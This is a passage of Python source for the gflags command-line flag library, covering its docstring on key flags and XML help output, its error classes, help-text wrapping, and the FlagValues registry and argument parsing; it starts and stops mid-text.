FLAGS): Consider an application that contains the following three files (two auxiliary modules and a main module) File libfoo.py: import gflags gflags.DEFINE_integer('num_replicas', 3, 'Number of replicas to start') gflags.DEFINE_boolean('rpc2', True, 'Turn on the usage of RPC2.') ... some code ... File libbar.py: import gflags gflags.DEFINE_string('bar_gfs_path', '/gfs/path', 'Path to the GFS files for libbar.') gflags.DEFINE_string('email_for_bar_errors', 'bar-team@google.com', 'Email address for bug reports about module libbar.') gflags.DEFINE_boolean('bar_risky_hack', False, 'Turn on an experimental and buggy optimization.') ... some code ... File myscript.py: import gflags import libfoo import libbar gflags.DEFINE_integer('num_iterations', 0, 'Number of iterations.') # Declare that all flags that are key for libfoo are # key for this module too. gflags.ADOPT_module_key_flags(libfoo) # Declare that the flag --bar_gfs_path (defined in libbar) is key # for this module. gflags.DECLARE_key_flag('bar_gfs_path') ... some code ... When myscript is invoked with the flag --helpshort, the resulted help message lists information about all the key flags for myscript: --num_iterations, --num_replicas, --rpc2, and --bar_gfs_path. Of course, myscript uses all the flags declared by it (in this case, just --num_replicas) or by any of the modules it transitively imports (e.g., the modules libfoo, libbar). E.g., it can access the value of FLAGS.bar_risky_hack, even if --bar_risky_hack is not declared as a key flag for myscript. OUTPUT FOR --helpxml: The --helpxml flag generates output with the following structure: <?xml version="1.0"?> <AllFlags> <program>PROGRAM_BASENAME</program> <usage>MAIN_MODULE_DOCSTRING</usage> (<flag> [<key>yes</key>] <file>DECLARING_MODULE</file> <name>FLAG_NAME</name> <meaning>FLAG_HELP_MESSAGE</meaning> <default>DEFAULT_FLAG_VALUE</default> <current>CURRENT_FLAG_VALUE</current> <type>FLAG_TYPE</type> [OPTIONAL_ELEMENTS] </flag>)* </AllFlags> Notes: 1. The output is intentionally similar to the output generated by the C++ command-line flag library. The few differences are due to the Python flags that do not have a C++ equivalent (at least not yet), e.g., DEFINE_list. 2. New XML elements may be added in the future. 3. DEFAULT_FLAG_VALUE is in serialized form, i.e., the string you can pass for this flag on the command-line. E.g., for a flag defined using DEFINE_list, this field may be foo,bar, not ['foo', 'bar']. 4. CURRENT_FLAG_VALUE is produced using str(). This means that the string 'false' will be represented in the same way as the boolean False. Using repr() would have removed this ambiguity and simplified parsing, but would have broken the compatibility with the C++ command-line flags. 5. OPTIONAL_ELEMENTS describe elements relevant for certain kinds of flags: lower_bound, upper_bound (for flags that specify bounds), enum_value (for enum flags), list_separator (for flags that consist of a list of values, separated by a special token). 6. We do not provide any example here: please use --helpxml instead. This module requires at least python 2.2.1 to run. """ from __future__ import print_function from builtins import str from builtins import range from builtins import object import cgi import getopt import os import re import string import struct import sys from future.utils import with_metaclass # pylint: disable-msg=C6204 try: import fcntl except ImportError: fcntl = None try: # Importing termios will fail on non-unix platforms. import termios except ImportError: termios = None import gflags_validators # pylint: enable-msg=C6204 # Are we running under pychecker? _RUNNING_PYCHECKER = 'pychecker.python' in sys.modules def _GetCallingModuleObjectAndName(): """Returns the module that's calling into this module. We generally use this function to get the name of the module calling a DEFINE_foo... function. """ # Walk down the stack to find the first globals dict that's not ours. for depth in range(1, sys.getrecursionlimit()): if not sys._getframe(depth).f_globals is globals(): globals_for_frame = sys._getframe(depth).f_globals module, module_name = _GetModuleObjectAndName(globals_for_frame) if module_name is not None: return module, module_name raise AssertionError("No module was found") def _GetCallingModule(): """Returns the name of the module that's calling into this module.""" return _GetCallingModuleObjectAndName()[1] def _GetThisModuleObjectAndName(): """Returns: (module object, module name) for this module.""" return _GetModuleObjectAndName(globals()) # module exceptions: class FlagsError(Exception): """The base class for all flags errors.""" pass class DuplicateFlag(FlagsError): """Raised if there is a flag naming conflict.""" pass class CantOpenFlagFileError(FlagsError): """Raised if flagfile fails to open: doesn't exist, wrong permissions, etc.""" pass class DuplicateFlagCannotPropagateNoneToSwig(DuplicateFlag): """Special case of DuplicateFlag -- SWIG flag value can't be set to None. This can be raised when a duplicate flag is created. Even if allow_override is True, we still abort if the new value is None, because it's currently impossible to pass None default value back to SWIG. See FlagValues.SetDefault for details. """ pass class DuplicateFlagError(DuplicateFlag): """A DuplicateFlag whose message cites the conflicting definitions. A DuplicateFlagError conveys more information than a DuplicateFlag, namely the modules where the conflicting definitions occur. This class was created to avoid breaking external modules which depend on the existing DuplicateFlags interface. """ def __init__(self, flagname, flag_values, other_flag_values=None): """Create a DuplicateFlagError. Args: flagname: Name of the flag being redefined. flag_values: FlagValues object containing the first definition of flagname. other_flag_values: If this argument is not None, it should be the FlagValues object where the second definition of flagname occurs. If it is None, we assume that we're being called when attempting to create the flag a second time, and we use the module calling this one as the source of the second definition. """ self.flagname = flagname first_module = flag_values.FindModuleDefiningFlag( flagname, default='<unknown>') if other_flag_values is None: second_module = _GetCallingModule() else: second_module = other_flag_values.FindModuleDefiningFlag( flagname, default='<unknown>') msg = "The flag '%s' is defined twice. First from %s, Second from %s" % ( self.flagname, first_module, second_module) DuplicateFlag.__init__(self, msg) class IllegalFlagValue(FlagsError): """The flag command line argument is illegal.""" pass class UnrecognizedFlag(FlagsError): """Raised if a flag is unrecognized.""" pass # An UnrecognizedFlagError conveys more information than an UnrecognizedFlag. # Since there are external modules that create DuplicateFlags, the interface to # DuplicateFlag shouldn't change. The flagvalue will be assigned the full value # of the flag and its argument, if any, allowing handling of unrecognized flags # in an exception handler. # If flagvalue is the empty string, then this exception is an due to a # reference to a flag that was not already defined. class UnrecognizedFlagError(UnrecognizedFlag): def __init__(self, flagname, flagvalue=''): self.flagname = flagname self.flagvalue = flagvalue UnrecognizedFlag.__init__( self, "Unknown command line flag '%s'" % flagname) # Global variable used by expvar _exported_flags = {} _help_width = 80 # width of help output def GetHelpWidth(): """Returns: an integer, the width of help lines that is used in TextWrap.""" if (not sys.stdout.isatty()) or (termios is None) or (fcntl is None): return _help_width try: data = fcntl.ioctl(sys.stdout, termios.TIOCGWINSZ, '1234') columns = struct.unpack('hh', data)[1] # Emacs mode returns 0. # Here we assume that any value below 40 is unreasonable if columns >= 40: return columns # Returning an int as default is fine, int(int) just return the int. return int(os.getenv('COLUMNS', _help_width)) except (TypeError, IOError, struct.error): return _help_width def CutCommonSpacePrefix(text): """Removes a common space prefix from the lines of a multiline text. If the first line does not start with a space, it is left as it is and only in the remaining lines a common space prefix is being searched for. That means the first line will stay untouched. This is especially useful to turn doc strings into help texts. This is because some people prefer to have the doc comment start already after the apostrophe and then align the following lines while others have the apostrophes on a separate line. The function also drops trailing empty lines and ignores empty lines following the initial content line while calculating the initial common whitespace. Args: text: text to work on Returns: the resulting text """ text_lines = text.splitlines() # Drop trailing empty lines while text_lines and not text_lines[-1]: text_lines = text_lines[:-1] if text_lines: # We got some content, is the first line starting with a space? if text_lines[0] and text_lines[0][0].isspace(): text_first_line = [] else: text_first_line = [text_lines.pop(0)] # Calculate length of common leading whitespace (only over content lines) common_prefix = os.path.commonprefix([line for line in text_lines if line]) space_prefix_len = len(common_prefix) - len(common_prefix.lstrip()) # If we have a common space prefix, drop it from all lines if space_prefix_len: for index in range(len(text_lines)): if text_lines[index]: text_lines[index] = text_lines[index][space_prefix_len:] return '\n'.join(text_first_line + text_lines) return '' def TextWrap(text, length=None, indent='', firstline_indent=None, tabs=' '): """Wraps a given text to a maximum line length and returns it. We turn lines that only contain whitespace into empty lines. We keep new lines and tabs (e.g., we do not treat tabs as spaces). Args: text: text to wrap length: maximum length of a line, includes indentation if this is None then use GetHelpWidth() indent: indent for all but first line firstline_indent: indent for first line; if None, fall back to indent tabs: replacement for tabs Returns: wrapped text Raises: FlagsError: if indent not shorter than length FlagsError: if firstline_indent not shorter than length """ # Get defaults where callee used None if length is None: length = GetHelpWidth() if indent is None: indent = '' if len(indent) >= length: raise FlagsError('Indent must be shorter than length') # In line we will be holding the current line which is to be started # with indent (or firstline_indent if available) and then appended # with words. if firstline_indent is None: firstline_indent = '' line = indent else: line = firstline_indent if len(firstline_indent) >= length: raise FlagsError('First line indent must be shorter than length') # If the callee does not care about tabs we simply convert them to # spaces If callee wanted tabs to be single space then we do that # already here. if not tabs or tabs == ' ': text = text.replace('\t', ' ') else: tabs_are_whitespace = not tabs.strip() line_regex = re.compile('([ ]*)(\t*)([^ \t]+)', re.MULTILINE) # Split the text into lines and the lines with the regex above. The # resulting lines are collected in result[]. For each split we get the # spaces, the tabs and the next non white space (e.g. next word). result = [] for text_line in text.splitlines(): # Store result length so we can find out whether processing the next # line gave any new content old_result_len = len(result) # Process next line with line_regex. For optimization we do an rstrip(). # - process tabs (changes either line or word, see below) # - process word (first try to squeeze on line, then wrap or force wrap) # Spaces found on the line are ignored, they get added while wrapping as # needed. for spaces, current_tabs, word in line_regex.findall(text_line.rstrip()): # If tabs weren't converted to spaces, handle them now if current_tabs: # If the last thing we added was a space anyway then drop # it. But let's not get rid of the indentation. if (((result and line != indent) or (not result and line != firstline_indent)) and line[-1] == ' '): line = line[:-1] # Add the tabs, if that means adding whitespace, just add it at # the line, the rstrip() code while shorten the line down if # necessary if tabs_are_whitespace: line += tabs * len(current_tabs) else: # if not all tab replacement is whitespace we prepend it to the word word = tabs * len(current_tabs) + word # Handle the case where word cannot be squeezed onto current last line if len(line) + len(word) > length and len(indent) + len(word) <= length: result.append(line.rstrip()) line = indent + word word = '' # No space left on line or can we append a space? if len(line) + 1 >= length: result.append(line.rstrip()) line = indent else: line += ' ' # Add word and shorten it up to allowed line length. Restart next # line with indent and repeat, or add a space if we're done (word # finished) This deals with words that cannot fit on one line # (e.g. indent + word longer than allowed line length). while len(line) + len(word) >= length: line += word result.append(line[:length]) word = line[length:] line = indent # Default case, simply append the word and a space if word: line += word + ' ' # End of input line. If we have content we finish the line. If the # current line is just the indent but we had content in during this # original line then we need to add an empty line. if (result and line != indent) or (not result and line != firstline_indent): result.append(line.rstrip()) elif len(result) == old_result_len: result.append('') line = indent return '\n'.join(result) def DocToHelp(doc): """Takes a __doc__ string and reformats it as help.""" # Get rid of starting and ending white space. Using lstrip() or even # strip() could drop more than maximum of first line and right space # of last line. doc = doc.strip() # Get rid of all empty lines whitespace_only_line = re.compile('^[ \t]+$', re.M) doc = whitespace_only_line.sub('', doc) # Cut out common space at line beginnings doc = CutCommonSpacePrefix(doc) # Just like this module's comment, comments tend to be aligned somehow. # In other words they all start with the same amount of white space # 1) keep double new lines # 2) keep ws after new lines if not empty line # 3) all other new lines shall be changed to a space # Solution: Match new lines between non white space and replace with space. doc = re.sub('(?<=\S)\n(?=\S)', ' ', doc, re.M) return doc def _GetModuleObjectAndName(globals_dict): """Returns the module that defines a global environment, and its name. Args: globals_dict: A dictionary that should correspond to an environment providing the values of the globals. Returns: A pair consisting of (1) module object and (2) module name (a string). Returns (None, None) if the module could not be identified. """ # The use of .items() (instead of .iteritems()) is NOT a mistake: if # a parallel thread imports a module while we iterate over # .iteritems() (not nice, but possible), we get a RuntimeError ... # Hence, we use the slightly slower but safer .items(). for name, module in list(sys.modules.items()): if getattr(module, '__dict__', None) is globals_dict: if name == '__main__': # Pick a more informative name for the main module. name = sys.argv[0] return (module, name) return (None, None) def _GetMainModule(): """Returns: string, name of the module from which execution started.""" # First, try to use the same logic used by _GetCallingModuleObjectAndName(), # i.e., call _GetModuleObjectAndName(). For that we first need to # find the dictionary that the main module uses to store the # globals. # # That's (normally) the same dictionary object that the deepest # (oldest) stack frame is using for globals. deepest_frame = sys._getframe(0) while deepest_frame.f_back is not None: deepest_frame = deepest_frame.f_back globals_for_main_module = deepest_frame.f_globals main_module_name = _GetModuleObjectAndName(globals_for_main_module)[1] # The above strategy fails in some cases (e.g., tools that compute # code coverage by redefining, among other things, the main module). # If so, just use sys.argv[0]. We can probably always do this, but # it's safest to try to use the same logic as _GetCallingModuleObjectAndName() if main_module_name is None: main_module_name = sys.argv[0] return main_module_name class FlagValues(object): """Registry of 'Flag' objects. A 'FlagValues' can then scan command line arguments, passing flag arguments through to the 'Flag' objects that it owns. It also provides easy access to the flag values. Typically only one 'FlagValues' object is needed by an application: gflags.FLAGS This class is heavily overloaded: 'Flag' objects are registered via __setitem__: FLAGS['longname'] = x # register a new flag The .value attribute of the registered 'Flag' objects can be accessed as attributes of this 'FlagValues' object, through __getattr__. Both the long and short name of the original 'Flag' objects can be used to access its value: FLAGS.longname # parsed flag value FLAGS.x # parsed flag value (short name) Command line arguments are scanned and passed to the registered 'Flag' objects through the __call__ method. Unparsed arguments, including argv[0] (e.g. the program name) are returned. argv = FLAGS(sys.argv) # scan command line arguments The original registered Flag objects can be retrieved through the use of the dictionary-like operator, __getitem__: x = FLAGS['longname'] # access the registered Flag object The str() operator of a 'FlagValues' object provides help for all of the registered 'Flag' objects. """ def __init__(self): # Since everything in this class is so heavily overloaded, the only # way of defining and using fields is to access __dict__ directly. # Dictionary: flag name (string) -> Flag object. self.__dict__['__flags'] = {} # Dictionary: module name (string) -> list of Flag objects that are defined # by that module. self.__dict__['__flags_by_module'] = {} # Dictionary: module id (int) -> list of Flag objects that are defined by # that module. self.__dict__['__flags_by_module_id'] = {} # Dictionary: module name (string) -> list of Flag objects that are # key for that module. self.__dict__['__key_flags_by_module'] = {} # Set if we should use new style gnu_getopt rather than getopt when parsing # the args. Only possible with Python 2.3+ self.UseGnuGetOpt(False) def UseGnuGetOpt(self, use_gnu_getopt=True): """Use GNU-style scanning. Allows mixing of flag and non-flag arguments. See http://docs.python.org/library/getopt.html#getopt.gnu_getopt Args: use_gnu_getopt: wether or not to use GNU style scanning. """ self.__dict__['__use_gnu_getopt'] = use_gnu_getopt def IsGnuGetOpt(self): return self.__dict__['__use_gnu_getopt'] def FlagDict(self): return self.__dict__['__flags'] def FlagsByModuleDict(self): """Returns the dictionary of module_name -> list of defined flags. Returns: A dictionary. Its keys are module names (strings). Its values are lists of Flag objects. """ return self.__dict__['__flags_by_module'] def FlagsByModuleIdDict(self): """Returns the dictionary of module_id -> list of defined flags. Returns: A dictionary. Its keys are module IDs (ints). Its values are lists of Flag objects. """ return self.__dict__['__flags_by_module_id'] def KeyFlagsByModuleDict(self): """Returns the dictionary of module_name -> list of key flags. Returns: A dictionary. Its keys are module names (strings). Its values are lists of Flag objects. """ return self.__dict__['__key_flags_by_module'] def _RegisterFlagByModule(self, module_name, flag): """Records the module that defines a specific flag. We keep track of which flag is defined by which module so that we can later sort the flags by module. Args: module_name: A string, the name of a Python module. flag: A Flag object, a flag that is key to the module. """ flags_by_module = self.FlagsByModuleDict() flags_by_module.setdefault(module_name, []).append(flag) def _RegisterFlagByModuleId(self, module_id, flag): """Records the module that defines a specific flag. Args: module_id: An int, the ID of the Python module. flag: A Flag object, a flag that is key to the module. """ flags_by_module_id = self.FlagsByModuleIdDict() flags_by_module_id.setdefault(module_id, []).append(flag) def _RegisterKeyFlagForModule(self, module_name, flag): """Specifies that a flag is a key flag for a module. Args: module_name: A string, the name of a Python module. flag: A Flag object, a flag that is key to the module. """ key_flags_by_module = self.KeyFlagsByModuleDict() # The list of key flags for the module named module_name. key_flags = key_flags_by_module.setdefault(module_name, []) # Add flag, but avoid duplicates. if flag not in key_flags: key_flags.append(flag) def _GetFlagsDefinedByModule(self, module): """Returns the list of flags defined by a module. Args: module: A module object or a module name (a string). Returns: A new list of Flag objects. Caller may update this list as he wishes: none of those changes will affect the internals of this FlagValue object. """ if not isinstance(module, str): module = module.__name__ return list(self.FlagsByModuleDict().get(module, [])) def _GetKeyFlagsForModule(self, module): """Returns the list of key flags for a module. Args: module: A module object or a module name (a string) Returns: A new list of Flag objects. Caller may update this list as he wishes: none of those changes will affect the internals of this FlagValue object. """ if not isinstance(module, str): module = module.__name__ # Any flag is a key flag for the module that defined it. NOTE: # key_flags is a fresh list: we can update it without affecting the # internals of this FlagValues object. key_flags = self._GetFlagsDefinedByModule(module) # Take into account flags explicitly declared as key for a module. for flag in self.KeyFlagsByModuleDict().get(module, []): if flag not in key_flags: key_flags.append(flag) return key_flags def FindModuleDefiningFlag(self, flagname, default=None): """Return the name of the module defining this flag, or default. Args: flagname: Name of the flag to lookup. default: Value to return if flagname is not defined. Defaults to None. Returns: The name of the module which registered the flag with this name. If no such module exists (i.e. no flag with this name exists), we return default. """ for module, flags in self.FlagsByModuleDict().items(): for flag in flags: if flag.name == flagname or flag.short_name == flagname: return module return default def FindModuleIdDefiningFlag(self, flagname, default=None): """Return the ID of the module defining this flag, or default. Args: flagname: Name of the flag to lookup. default: Value to return if flagname is not defined. Defaults to None. Returns: The ID of the module which registered the flag with this name. If no such module exists (i.e. no flag with this name exists), we return default. """ for module_id, flags in self.FlagsByModuleIdDict().items(): for flag in flags: if flag.name == flagname or flag.short_name == flagname: return module_id return default def AppendFlagValues(self, flag_values): """Appends flags registered in another FlagValues instance. Args: flag_values: registry to copy from """ for flag_name, flag in flag_values.FlagDict().items(): # Each flags with shortname appears here twice (once under its # normal name, and again with its short name). To prevent # problems (DuplicateFlagError) with double flag registration, we # perform a check to make sure that the entry we're looking at is # for its normal name. if flag_name == flag.name: try: self[flag_name] = flag except DuplicateFlagError: raise DuplicateFlagError(flag_name, self, other_flag_values=flag_values) def RemoveFlagValues(self, flag_values): """Remove flags that were previously appended from another FlagValues. Args: flag_values: registry containing flags to remove. """ for flag_name in flag_values.FlagDict(): self.__delattr__(flag_name) def __setitem__(self, name, flag): """Registers a new flag variable.""" fl = self.FlagDict() if not isinstance(flag, Flag): raise IllegalFlagValue(flag) if not isinstance(name, type("")): raise FlagsError("Flag name must be a string") if len(name) == 0: raise FlagsError("Flag name cannot be empty") # If running under pychecker, duplicate keys are likely to be # defined. Disable check for duplicate keys when pycheck'ing. if (name in fl and not flag.allow_override and not fl[name].allow_override and not _RUNNING_PYCHECKER): module, module_name = _GetCallingModuleObjectAndName() if (self.FindModuleDefiningFlag(name) == module_name and id(module) != self.FindModuleIdDefiningFlag(name)): # If the flag has already been defined by a module with the same name, # but a different ID, we can stop here because it indicates that the # module is simply being imported a subsequent time. return raise DuplicateFlagError(name, self) short_name = flag.short_name if short_name is not None: if (short_name in fl and not flag.allow_override and not fl[short_name].allow_override and not _RUNNING_PYCHECKER): raise DuplicateFlagError(short_name, self) fl[short_name] = flag fl[name] = flag global _exported_flags _exported_flags[name] = flag def __getitem__(self, name): """Retrieves the Flag object for the flag --name.""" return self.FlagDict()[name] def __getattr__(self, name): """Retrieves the 'value' attribute of the flag --name.""" fl = self.FlagDict() if name not in fl: raise AttributeError(name) return fl[name].value def __setattr__(self, name, value): """Sets the 'value' attribute of the flag --name.""" fl = self.FlagDict() fl[name].value = value self._AssertValidators(fl[name].validators) return value def _AssertAllValidators(self): all_validators = set() for flag in self.FlagDict().values(): for validator in flag.validators: all_validators.add(validator) self._AssertValidators(all_validators) def _AssertValidators(self, validators): """Assert if all validators in the list are satisfied. Asserts validators in the order they were created. Args: validators: Iterable(gflags_validators.Validator), validators to be verified Raises: AttributeError: if validators work with a non-existing flag. IllegalFlagValue: if validation fails for at least one validator """ for validator in sorted( validators, key=lambda validator: validator.insertion_index): try: validator.Verify(self) except gflags_validators.Error as e: message = validator.PrintFlagsWithValues(self) raise IllegalFlagValue('%s: %s' % (message, str(e))) def _FlagIsRegistered(self, flag_obj): """Checks whether a Flag object is registered under some name. Note: this is non trivial: in addition to its normal name, a flag may have a short name too. In self.FlagDict(), both the normal and the short name are mapped to the same flag object. E.g., calling only "del FLAGS.short_name" is not unregistering the corresponding Flag object (it is still registered under the longer name). Args: flag_obj: A Flag object. Returns: A boolean: True iff flag_obj is registered under some name. """ flag_dict = self.FlagDict() # Check whether flag_obj is registered under its long name. name = flag_obj.name if flag_dict.get(name, None) == flag_obj: return True # Check whether flag_obj is registered under its short name. short_name = flag_obj.short_name if (short_name is not None and flag_dict.get(short_name, None) == flag_obj): return True # The flag cannot be registered under any other name, so we do not # need to do a full search through the values of self.FlagDict(). return False def __delattr__(self, flag_name): """Deletes a previously-defined flag from a flag object. This method makes sure we can delete a flag by using del flag_values_object.<flag_name> E.g., gflags.DEFINE_integer('foo', 1, 'Integer flag.') del gflags.FLAGS.foo Args: flag_name: A string, the name of the flag to be deleted. Raises: AttributeError: When there is no registered flag named flag_name. """ fl = self.FlagDict() if flag_name not in fl: raise AttributeError(flag_name) flag_obj = fl[flag_name] del fl[flag_name] if not self._FlagIsRegistered(flag_obj): # If the Flag object indicated by flag_name is no longer # registered (please see the docstring of _FlagIsRegistered), then # we delete the occurrences of the flag object in all our internal # dictionaries. self.__RemoveFlagFromDictByModule(self.FlagsByModuleDict(), flag_obj) self.__RemoveFlagFromDictByModule(self.FlagsByModuleIdDict(), flag_obj) self.__RemoveFlagFromDictByModule(self.KeyFlagsByModuleDict(), flag_obj) def __RemoveFlagFromDictByModule(self, flags_by_module_dict, flag_obj): """Removes a flag object from a module -> list of flags dictionary. Args: flags_by_module_dict: A dictionary that maps module names to lists of flags. flag_obj: A flag object. """ for unused_module, flags_in_module in flags_by_module_dict.items(): # while (as opposed to if) takes care of multiple occurrences of a # flag in the list for the same module. while flag_obj in flags_in_module: flags_in_module.remove(flag_obj) def SetDefault(self, name, value): """Changes the default value of the named flag object.""" fl = self.FlagDict() if name not in fl: raise AttributeError(name) fl[name].SetDefault(value) self._AssertValidators(fl[name].validators) def __contains__(self, name): """Returns True if name is a value (flag) in the dict.""" return name in self.FlagDict() has_key = __contains__ # a synonym for __contains__() def __iter__(self): return iter(self.FlagDict()) def __call__(self, argv): """Parses flags from argv; stores parsed flags into this FlagValues object. All unparsed arguments are returned. Flags are parsed using the GNU Program Argument Syntax Conventions, using getopt: http://www.gnu.org/software/libc/manual/html_mono/libc.html#Getopt Args: argv: argument list. Can be of any type that may be converted to a list. Returns: The list of arguments not parsed as options, including argv[0] Raises: FlagsError: on any parsing error """ # Support any sequence type that can be converted to a list argv = list(argv) shortopts = "" longopts = [] fl = self.FlagDict() # This pre parses the argv list for --flagfile=<> options. argv = argv[:1] + self.ReadFlagsFromFiles(argv[1:], force_gnu=False) # Correct the argv to support the google style of passing boolean # parameters. Boolean parameters may be passed by using --mybool, # --nomybool, --mybool=(true|false|1|0). getopt does not support # having options that may or may not have a parameter. We replace # instances of the short form --mybool and --nomybool with their # full forms: --mybool=(true|false). original_argv = list(argv) # list() makes a copy shortest_matches = None for name, flag in list(fl.items()): if not flag.boolean: continue if shortest_matches is None: # Determine the smallest allowable prefix for all flag names shortest_matches = self.ShortestUniquePrefixes(fl) no_name = 'no' + name prefix = shortest_matches[name] no_prefix = shortest_matches[no_name] # Replace all occurrences of this boolean with extended forms for arg_idx in range(1, len(argv)): arg = argv[arg_idx] if arg.find('=') >= 0: continue if arg.startswith('--'+prefix) and ('--'+name).startswith(arg): argv[arg_idx] = ('--%s=true' % name) elif arg.startswith('--'+no_prefix) and ('--'+no_name).startswith(arg): argv[arg_idx] = ('--%s=false' % name) # Loop over all of the flags, building up the lists of short options # and long options that will be passed to getopt. Short options are # specified as a string of letters, each letter followed by a colon # if it takes an argument. Long options are stored in an array of # strings. Each string ends with an '=' if it takes an argument. for name, flag in list(fl.items()): longopts.append(name + "=") if len(name) == 1: # one-letter option: allow short flag type also shortopts += name if not flag.boolean: shortopts += ":" longopts.append('undefok=') undefok_flags = [] # In case --undefok is specified, loop to pick up unrecognized # options one by one. unrecognized_opts = [] args = argv[1:] while True: try: if self.__dict__['__use_gnu_getopt']: optlist, unparsed_args = getopt.gnu_getopt(args, shortopts, longopts) else: optlist, unparsed_args = getopt.getopt(args, shortopts, longopts) break except getopt.GetoptError as e: if not e.opt or e.opt in fl: # Not an unrecognized option, re-raise the exception as a FlagsError raise FlagsError(e) # Remove offender from args and try again for arg_index in range(len(args)): if ((args[arg_index] == '--' + e.opt) or (args[arg_index] == '-' + e.opt) or (args[arg_index].startswith('--' + e.opt + '='))): unrecognized_opts.append((e.opt, args[arg_index])) args = args[0:arg_index] + args[arg_index+1:] break else: # We should have found the option, so we don't expect to get # here. We could assert, but raising the original exception # might work better. raise FlagsError(e) for name, arg in optlist: if name == '--undefok': flag_names = arg.split(',') undefok_flags.extend(flag_names) # For boolean flags, if --undefok=boolflag is specified, then we should # also accept --noboolflag, in addition to --boolflag. # Since we don't know the type of the undefok'd flag, this will affect # non-boolean flags as well. # NOTE: You shouldn't use --undefok=noboolflag, because then we will # accept --nonoboolflag here. We are choosing not to do the conversion # from noboolflag -> boolflag because of the ambiguity that flag names # can start with 'no'. undefok_flags.extend('no' + name for name in flag_names) continue if name.startswith('--'): # long option name = name[2:] short_option = 0 else: # short option name = name[1:] short_option = 1 if name in fl: flag = fl[name] if flag.boolean and short_option: arg = 1 flag.Parse(arg) # If there were unrecognized options, raise an exception unless # the options were named via --undefok. for opt, value in unrecognized_opts: if opt not in undefok_flags: raise UnrecognizedFlagError(opt, value) if unparsed_args: if self.__dict__['__use_gnu_getopt']: # if using gnu_getopt just return the program name + remainder of argv. ret_val = argv[:1] + unparsed_args else: # unparsed_args becomes the first non-flag detected by getopt to # the end of argv. Because argv may have been modified above, # return original_argv for this region. ret_val = argv[:1] + original_argv[-len(unparsed_args):] else: ret_val = argv[:1] self._AssertAllValidators() return ret_val def Reset(self): """Resets the values to the point before FLAGS(argv) was called.""" for f in list(self.FlagDict().values()): f.Unparse() def RegisteredFlags(self): """Returns: a list of the names and short names of all registered flags.""" return list(self.FlagDict()) def FlagValuesDict(self): """Returns: a dictionary that maps flag names to flag values.""" flag_values = {} for flag_name in self.RegisteredFlags(): flag = self.FlagDict()[flag_name] flag_values[flag_name] = flag.value return flag_values def __str__(self): """Generates a help string for all known flags.""" return self.GetHelp() def GetHelp(self, prefix=''): """Generates a help string for all known flags.""" helplist = [] flags_by_module = self.FlagsByModuleDict() if flags_by_module: modules = sorted(flags_by_module) # Print the help for the main module first, if possible. main_module = _GetMainModule() if main_module in modules: modules.remove(main_module) modules = [main_module] + modules for module in modules: self.__RenderOurModuleFlags(module, helplist) self.__RenderModuleFlags('gflags', list(_SPECIAL_FLAGS.FlagDict().values()), helplist) else: # Just print one long list of flags. self.__RenderFlagList( list(self.FlagDict().values()) + list(_SPECIAL_FLAGS.FlagDict().values()), helplist, prefix) return '\n'.join(helplist) def __RenderModuleFlags(self, module, flags, output_lines, prefix=""): """Generates a help string for a given module.""" if not isinstance(module, str): module = module.__name__ output_lines.append('\n%s%s:' % (prefix, module)) self.__RenderFlagList(flags, output_lines, prefix + " ") def __RenderOurModuleFlags(self, module, output_lines, prefix=""): """Generates a help string for a given module.""" flags = self._GetFlagsDefinedByModule(module) if flags: self.__RenderModuleFlags(module, flags, output_lines, prefix) def __RenderOurModuleKeyFlags(self, module, output_lines, prefix=""): """Generates a help string for the key flags of a given module. Args: module: A module object or a module name (a string). output_lines: A list of strings. The generated help message lines will be appended to this list. prefix: A string that is prepended to each generated help line. """ key_flags = self._GetKeyFlagsForModule(module) if key_flags: self.__RenderModuleFlags(module, key_flags, output_lines, prefix) def ModuleHelp(self, module): """Describe the key flags of a module. Args: module: A module object or a module name (a string). Returns: string describing the key flags of a module. """ helplist = [] self.__RenderOurModuleKeyFlags(module, helplist) return '\n'.join(helplist) def MainModuleHelp(self): """Describe the key flags of the main module. Returns: string describing the key flags of a module. """ return self.ModuleHelp(_GetMainModule()) def __RenderFlagList(self, flaglist, output_lines, prefix=" "): fl = self.FlagDict() special_fl = _SPECIAL_FLAGS.FlagDict() flaglist = [(flag.name, flag) for flag in flaglist] flaglist.sort() flagset = {} for (name, flag) in flaglist: # It's possible this flag got deleted or overridden since being # registered in the per-module flaglist. Check now against the # canonical source of current flag information, the FlagDict. if fl.get(name, None) != flag and special_fl.get(name, None) != flag: # a different flag is using this name now continue # only print help once if flag in flagset: continue flagset[flag] = 1 flaghelp = "" if flag.short_name: flaghelp += "-%s," % flag.short_name if flag.boolean: flaghelp += "--[no]%s" % flag.name + ":" else: flaghelp += "--%s" % flag.name + ":" flaghelp += " " if flag.help: flaghelp += flag.help flaghelp = TextWrap(flaghelp, indent=prefix+" ", firstline_indent=prefix) if flag.default_as_str: flaghelp += "\n" flaghelp += TextWrap("(default: %s)" % flag.default_as_str, indent=prefix+" ") if flag.parser.syntactic_help: flaghelp += "\n" flaghelp += TextWrap("(%s)" % flag.parser.syntactic_help, indent=prefix+" ") output_lines.append(flaghelp) def get(self, name, default): """Returns the value of a flag (if not None) or a default value. Args: name: A string, the name of a flag. default: Default value to use if the flag value is None. """ value = self.__getattr__(name) if value is not None: # Can't do if not value, b/c value might be '0' or "" return value else: return default def ShortestUniquePrefixes(self, fl): """Returns: dictionary; maps flag names to their shortest unique prefix.""" # Sort the list of flag names sorted_flags = [] for name, flag in list(fl.items()): sorted_flags.append(name) if flag.boolean: sorted_flags.append('no%s' % name) sorted_flags.sort() # For each name in the sorted list, determine the shortest unique # prefix by comparing itself to the next name and to the previous # name (the latter check uses cached info from the previous loop). shortest_matches = {} prev_idx = 0 for flag_idx in range(len(sorted_flags)): curr = sorted_flags[flag_idx] if flag_idx == (len(sorted_flags) - 1): next = None else: next = sorted_flags[flag_idx+1] next_len = len(next) for curr_idx in range(len(curr)): if (next is None or curr_idx >= next_len or curr[curr_idx] != next[curr_idx]): # curr longer than next or no more chars in common shortest_matches[curr] = curr[:max(prev_idx, curr_idx) + 1] prev_idx = curr_idx break else: # curr shorter than (or equal to) next shortest_matches[curr] = curr prev_idx = curr_idx + 1 # next will need at least one more char return shortest_matches def __IsFlagFileDirective(self, flag_string): """Checks whether flag_string contain a --flagfile=<foo> directive.""" if isinstance(flag_string, type("")): if flag_string.startswith('--flagfile='): return 1 elif flag_string == '--flagfile': return 1 elif flag_string.startswith('-flagfile='): return 1 elif flag_string == '-flagfile': return 1 else: return 0 return 0 def ExtractFilename(self, flagfile_str): """Returns filename from a flagfile_str of form -[-]flagfile=filename. The cases of --flagfile foo and -flagfile foo shouldn't be hitting this function, as they are dealt with in the level above this function. """ if 